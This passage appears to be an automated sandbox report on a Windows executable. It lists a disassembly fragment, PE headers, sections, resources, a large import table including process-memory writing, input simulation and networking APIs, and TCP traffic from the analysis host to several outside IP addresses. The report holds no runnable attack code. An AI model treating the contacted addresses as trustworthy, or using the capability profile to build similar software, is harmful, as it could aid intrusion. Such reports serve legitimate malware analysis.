                                                                                    jnc 00007F33C8E81323h
                                                                                    movq xmm1, qword ptr [esi]
                                                                                    sub ecx, 08h
                                                                                    lea esi, dword ptr [esi+08h]
                                                                                    movq qword ptr [edi], xmm1
                                                                                    lea edi, dword ptr [edi+08h]
                                                                                    test esi, 00000007h
                                                                                    je 00007F33C8E81375h
                                                                                    bt esi, 03h
                                                                                    jnc 00007F33C8E813C8h
                                                                                    movdqa xmm1, dqword ptr [esi+00h]

                                                                                    Rich Headers

                                                                                    Programming Language:
                                                                                    • [ C ] VS2008 SP1 build 30729
                                                                                    • [IMP] VS2008 SP1 build 30729
                                                                                    • [ASM] VS2012 UPD4 build 61030
                                                                                    • [RES] VS2012 UPD4 build 61030
                                                                                    • [LNK] VS2012 UPD4 build 61030

                                                                                    Data Directories

                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xb70040x17c.rdata
                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xc40000x62c1c.rsrc
                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x1270000x6c4c.reloc
                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x8d8d00x1c.rdata
                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xb27300x40.rdata
                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x8d0000x860.rdata
                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                    Sections

                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                    .text0x10000x8b54f0x8b600f437a6545e938612764dbb0a314376fcFalse0.5699499019058296data6.680413749210956IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                    .rdata0x8d0000x2cc420x2ce00827ffd24759e8e420890ecf164be989eFalse0.330464397632312data5.770192333189168IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                    .data0xba0000x9d540x6200e0a519f8e3a35fae0d9c2cfd5a4bacfcFalse0.16402264030612246data2.002691099965349IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                    .rsrc0xc40000x62c1c0x62e004ced413784d49f6053dc4f3a1880f221False0.9330332451011378data7.906897108633335IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                    .reloc0x1270000xa4740xa6000bc98f8631ef0bde830a7f83bb06ff08False0.5017884036144579data5.245426654116355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                    Resources

                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                    RT_ICON0xc45a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                    RT_ICON0xc46d00x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                    RT_ICON0xc47f80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                    RT_ICON0xc49200x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 0EnglishGreat Britain0.3333333333333333
                                                                                    RT_ICON0xc4c080x128Device independent bitmap graphic, 16 x 32 x 4, image size 0EnglishGreat Britain0.5
                                                                                    RT_ICON0xc4d300xea8Device independent bitmap graphic, 48 x 96 x 8, image size 0EnglishGreat Britain0.2835820895522388
                                                                                    RT_ICON0xc5bd80x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 0EnglishGreat Britain0.37906137184115524
                                                                                    RT_ICON0xc64800x568Device independent bitmap graphic, 16 x 32 x 8, image size 0EnglishGreat Britain0.23699421965317918
                                                                                    RT_ICON0xc69e80x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 0EnglishGreat Britain0.13858921161825727
                                                                                    RT_ICON0xc8f900x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishGreat Britain0.25070356472795496
                                                                                    RT_ICON0xca0380x468Device independent bitmap graphic, 16 x 32 x 32, image size 0EnglishGreat Britain0.3173758865248227
                                                                                    RT_MENU0xca4a00x50dataEnglishGreat Britain0.9
                                                                                    RT_STRING0xca4f00x594dataEnglishGreat Britain0.3333333333333333
                                                                                    RT_STRING0xcaa840x68adataEnglishGreat Britain0.2747909199522103
                                                                                    RT_STRING0xcb1100x490dataEnglishGreat Britain0.3715753424657534
                                                                                    RT_STRING0xcb5a00x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                    RT_STRING0xcbb9c0x65cdataEnglishGreat Britain0.34336609336609336
                                                                                    RT_STRING0xcc1f80x466dataEnglishGreat Britain0.3605683836589698
                                                                                    RT_STRING0xcc6600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                                                    RT_RCDATA0xcc7b80x59f21data1.0003284321841825
                                                                                    RT_GROUP_ICON0x1266dc0x76dataEnglishGreat Britain0.6610169491525424
                                                                                    RT_GROUP_ICON0x1267540x14dataEnglishGreat Britain1.25
                                                                                    RT_GROUP_ICON0x1267680x14dataEnglishGreat Britain1.15
                                                                                    RT_GROUP_ICON0x12677c0x14dataEnglishGreat Britain1.25
                                                                                    RT_VERSION0x1267900xdcdataEnglishGreat Britain0.6181818181818182
                                                                                    RT_MANIFEST0x12686c0x3b0ASCII text, with CRLF line terminatorsEnglishGreat Britain0.5116525423728814

                                                                                    Imports

                                                                                    DLLImport
                                                                                    WSOCK32.dll__WSAFDIsSet, recv, send, setsockopt, ntohs, recvfrom, select, WSAStartup, htons, accept, listen, bind, closesocket, connect, WSACleanup, ioctlsocket, sendto, WSAGetLastError, inet_addr, gethostbyname, gethostname, socket
                                                                                    VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                                                    WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                    COMCTL32.dllImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_Create, InitCommonControlsEx, ImageList_ReplaceIcon
                                                                                    MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
                                                                                    WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetConnectW, InternetQueryDataAvailable
                                                                                    PSAPI.DLLGetProcessMemoryInfo
                                                                                    IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
                                                                                    USERENV.dllUnloadUserProfile, DestroyEnvironmentBlock, CreateEnvironmentBlock, LoadUserProfileW
                                                                                    UxTheme.dllIsThemeActive
                                                                                    KERNEL32.dllHeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetCurrentThread, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, DeleteCriticalSection, WaitForSingleObject, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, CloseHandle, GetLastError, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, RaiseException, InitializeCriticalSectionAndSpinCount, InterlockedDecrement, InterlockedIncrement, CreateThread, DuplicateHandle, EnterCriticalSection, GetCurrentProcess, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, HeapSize, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, SetFilePointer, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, HeapReAlloc, WriteConsoleW, SetEndOfFile, DeleteFileW, SetEnvironmentVariableA
                                                                                    USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, DrawMenuBar, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, MonitorFromRect, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, CopyImage, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, UnregisterHotKey, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, DeleteMenu, PeekMessageW, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, CharLowerBuffW, GetWindowTextW
                                                                                    GDI32.dllSetPixel, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, GetDeviceCaps, CloseFigure, LineTo, AngleArc, CreateCompatibleBitmap, CreateCompatibleDC, MoveToEx, Ellipse, PolyDraw, BeginPath, SelectObject, StretchBlt, GetDIBits, DeleteDC, GetPixel, CreateDCW, GetStockObject, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, EndPath
                                                                                    COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                    ADVAPI32.dllGetAclInformation, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, InitiateSystemShutdownExW, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, SetSecurityDescriptorDacl, AddAce, GetAce
                                                                                    SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                    ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                                                    OLEAUT32.dllRegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, UnRegisterTypeLib, SafeArrayCreateVector, SysAllocString, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, VariantCopy, VariantClear, CreateDispTypeInfo, CreateStdDispatch, DispCallFunc, VariantChangeType, SafeArrayAllocDescriptorEx, VariantInit

                                                                                    Possible Origin

                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                    EnglishGreat Britain

                                                                                    Network Behavior

                                                                                    Network Port Distribution

                                                                                    TCP Packets

                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                    Dec 5, 2024 18:21:59.656985998 CET4981480192.168.2.1123.167.152.41
                                                                                    Dec 5, 2024 18:21:59.777842045 CET804981423.167.152.41192.168.2.11
                                                                                    Dec 5, 2024 18:21:59.777925014 CET4981480192.168.2.1123.167.152.41
                                                                                    Dec 5, 2024 18:21:59.788548946 CET4981480192.168.2.1123.167.152.41
                                                                                    Dec 5, 2024 18:21:59.909311056 CET804981423.167.152.41192.168.2.11
                                                                                    Dec 5, 2024 18:22:00.672616005 CET804981423.167.152.41192.168.2.11
                                                                                    Dec 5, 2024 18:22:00.672840118 CET4981480192.168.2.1123.167.152.41
                                                                                    Dec 5, 2024 18:22:00.674292088 CET4981480192.168.2.1123.167.152.41
                                                                                    Dec 5, 2024 18:22:00.794219017 CET804981423.167.152.41192.168.2.11
                                                                                    Dec 5, 2024 18:22:16.203030109 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:16.323075056 CET8049853199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:16.323221922 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:16.338253021 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:16.457942009 CET8049853199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:17.423962116 CET8049853199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:17.424561024 CET8049853199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:17.424572945 CET8049853199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:17.424604893 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:17.424637079 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:17.846414089 CET4985380192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:18.865137100 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:18.985043049 CET8049859199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:18.985563993 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:19.000020981 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:19.121777058 CET8049859199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:20.085539103 CET8049859199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:20.085727930 CET8049859199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:20.086374998 CET8049859199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:20.086441994 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:20.086441994 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:20.502789974 CET4985980192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:21.521641016 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:21.816824913 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:21.816960096 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:21.897162914 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:22.017282963 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:22.017302036 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:22.922178030 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:22.922363043 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:22.922429085 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:22.922528982 CET8049867199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:22.922579050 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:23.409399033 CET4986780192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:24.531033039 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:24.651894093 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:24.652132034 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:24.663175106 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:24.782988071 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:25.760046959 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:25.760186911 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:25.760796070 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:25.760854006 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:25.760854006 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:25.763338089 CET4987480192.168.2.11199.59.243.227
                                                                                    Dec 5, 2024 18:22:25.883498907 CET8049874199.59.243.227192.168.2.11
                                                                                    Dec 5, 2024 18:22:47.919954062 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:48.041964054 CET804992738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:48.042109013 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:48.059746981 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:48.179699898 CET804992738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:49.566329956 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:49.590708017 CET804992738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:49.590785027 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:49.590925932 CET804992738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:49.591022015 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:49.689858913 CET804992738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:49.689968109 CET4992780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:50.583946943 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:50.703751087 CET804993338.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:50.704009056 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:50.718506098 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:50.838231087 CET804993338.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:52.221434116 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:52.236501932 CET804993338.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:52.236567974 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:52.236645937 CET804993338.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:52.236690998 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:52.341506004 CET804993338.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:52.341563940 CET4993380192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:53.240835905 CET4994080192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:53.360905886 CET804994038.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:53.361018896 CET4994080192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:53.378994942 CET4994080192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:53.498788118 CET804994038.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:53.498893976 CET804994038.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:54.893376112 CET4994080192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:55.016262054 CET804994038.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:55.016573906 CET4994080192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:56.018654108 CET4994780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:56.140580893 CET804994738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:56.140678883 CET4994780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:56.150475979 CET4994780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:56.270417929 CET804994738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:57.673592091 CET804994738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:57.673975945 CET804994738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:22:57.674046993 CET4994780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:57.678210974 CET4994780192.168.2.1138.47.232.202
                                                                                    Dec 5, 2024 18:22:57.798074007 CET804994738.47.232.202192.168.2.11
                                                                                    Dec 5, 2024 18:23:03.351994991 CET4996580192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:03.472790956 CET8049965130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:03.472918987 CET4996580192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:03.643342018 CET4996580192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:03.763161898 CET8049965130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:04.736520052 CET8049965130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:04.736555099 CET8049965130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:04.736769915 CET4996580192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:05.159033060 CET4996580192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:06.181509972 CET4997280192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:06.301373005 CET8049972130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:06.305635929 CET4997280192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:06.316293955 CET4997280192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:06.436121941 CET8049972130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:07.565732002 CET8049972130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:07.565845013 CET8049972130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:07.565903902 CET4997280192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:07.831110001 CET4997280192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:08.849999905 CET4997980192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:08.970211983 CET8049979130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:08.970335960 CET4997980192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:08.987656116 CET4997980192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:09.107780933 CET8049979130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:09.107799053 CET8049979130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:10.229429007 CET8049979130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:10.229454041 CET8049979130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:10.231550932 CET4997980192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:10.487540007 CET4997980192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:11.506298065 CET4998680192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:11.626223087 CET8049986130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:11.626343012 CET4998680192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:11.635452986 CET4998680192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:11.757452965 CET8049986130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:12.893963099 CET8049986130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:12.894092083 CET8049986130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:12.894304991 CET4998680192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:12.897054911 CET4998680192.168.2.11130.185.109.77
                                                                                    Dec 5, 2024 18:23:13.028690100 CET8049986130.185.109.77192.168.2.11
                                                                                    Dec 5, 2024 18:23:18.238249063 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:18.359594107 CET8049987108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:18.359735966 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:18.374206066 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:18.494729042 CET8049987108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:19.787492990 CET8049987108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:19.787772894 CET8049987108.181.189.7192.168.2.11
                                                                                    Dec 5, 2024 18:23:19.787821054 CET4998780192.168.2.11108.181.189.7
                                                                                    Dec 5, 2024 18:23:19.787864923 CET8049987108.181.189.7192.168.2.11
